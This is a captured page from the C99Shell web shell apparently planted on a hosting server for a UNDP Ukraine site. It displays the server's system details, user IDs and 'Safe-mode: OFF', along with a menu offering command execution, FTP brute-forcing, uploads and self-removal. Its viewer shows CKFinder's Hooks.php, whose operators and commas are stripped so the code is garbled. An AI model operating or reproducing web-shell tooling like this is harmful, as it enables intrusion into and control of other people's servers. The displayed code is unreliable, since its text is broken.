!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/msdp.undp.org.ua/modules-alien/ckeditor/ckfinder/core/connector/php/php4/Core/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Hooks.php (5.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
 * CKFinder
 * ========
 * http://ckfinder.com
 * Copyright (C) 2007-2010, CKSource - Frederico Knabben. All rights reserved.
 *
 * The software, this file and its contents are subject to the CKFinder
 * License. Please read the license.txt file before using, installing, copying,
 * modifying or distribute this file or part of its contents. The contents of
 * this file is part of the Source Code of CKFinder.
 */
if (!defined('IN_CKFINDER')) exit;

/**
 * @package CKFinder
 * @subpackage Core
 * @copyright CKSource - Frederico Knabben
 */
class CKFinder_Connector_Core_Hooks
{

    
/**
     * Run user defined hooks
     *
     * @param string $event
     * @param object $errorHandler
     * @param array $args
     * @return boolean (true to continue processing, false otherwise)
     */
    
function run($event$args = array())
    {
        
$config $GLOBALS['config'];
        if (!isset(
$config['Hooks'])) {
            return 
true;
        }
        
$hooks =& $config['Hooks'];

        if (!
is_array($hooks) || !array_key_exists($event$hooks) || !is_array($hooks[$event])) {
            return 
true;
        }

        
$errorHandler $GLOBALS['connector']->getErrorHandler();

        foreach (
$hooks[$event] as $i => $hook) {

            
$object NULL;
            
$method NULL;
            
$function NULL;
            
$data NULL;
            
$passData false;

            
/* $hook can be: a function, an object, an array of $functiontion and $data,
            * an array of just a function, an array of object and method, or an
            * array of object, method, and data.
            */
            //function
            
if (is_string($hook)) {
                
$function $hook;
            }
            
//object
            
else if (is_object($hook)) {
                
$object $hooks[$event][$i];
                
$method "on" $event;
            }
            
//array of...
            
else if (is_array($hook)) {
                
$count count($hook);
                if (
$count) {
                    
//...object
                    
if (is_object($hook[0])) {
                        
$object $hooks[$event][$i][0];
                        if (
$count 2) {
                            
$method "on" $event;
                        } else {
                            
//...object and method
                            
$method $hook[1];
                            if (
count($hook) > 2) {
                                
//...object, method and data
                                
$passData true;
                                
$data $hook[2];
                            }
                        }
                    }
                    
//...function
                    
else if (is_string($hook[0])) {
                        
$function $hook[0];
                        if (
$count 1) {
                            
//...function with data
                            
$passData true;
                            
$data $hook[1];
                        }
                    }
                }
            }

            
/* If defined, add data to the arguments array */
            
if ($passData) {
                
$args array_merge(array($data), $args);
            }

            if (isset(
$object)) {
                
$callback = array($object$method);
            }
            else if (
false !== ($pos strpos($function'::'))) {
                
$callback = array(substr($function0$pos), substr($function$pos 2));
            }
            else {
                
$callback $function;
            }

            if (
is_callable($callback)) {
                
$ret call_user_func_array($callback$args);
            }
            else {
                
$functionName CKFinder_Connector_Core_Hooks::_printCallback($callback);
                
$errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_CUSTOM_ERROR,
                
"CKFinder failed to call a hook: " $functionName);
                return 
false;
            }

            
//String return is a custom error
            
if (is_string($ret)) {
                
$errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_CUSTOM_ERROR$ret);
                return 
false;
            }
            
//hook returned an error code, user error codes start from 50000
            //error codes are important because this way it is possible to create multilanguage extensions
            //TODO: two custom extensions may be popular and return the same error codes
            //recomendation: create a function that calculates the error codes starting number
            //for an extension, a pool of 100 error codes for each extension should be safe enough
            
else if (is_int($ret)) {
                
$errorHandler->throwError($ret);
                return 
false;
            }
            
//no value returned
            
else if( $ret === null ) {
                
$functionName CKFinder_Connector_Core_Hooks::_printCallback($callback);
                
$errorHandler->throwError(CKFINDER_CONNECTOR_ERROR_CUSTOM_ERROR,
                
"CKFinder extension returned an invalid value (null)." .
                
"Hook " $functionName " should return a value.");
                return 
false;
            }
            else if (!
$ret) {
                return 
false;
            }
        }

        return 
true;
    }

    
/**
     * Print user friendly name of a callback
     *
     * @param mixed $callback
     * @return string
     */
    
function _printCallback($callback)
    {
        if (
is_array($callback)) {
            if (
is_object($callback[0])) {
                
$className get_class($callback[0]);
            } else {
                
$className strval($callback[0]);
            }
            
$functionName $className '::' strval($callback[1]);
        }
        else {
            
$functionName strval($callback);
        }
        return 
$functionName;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0131 ]--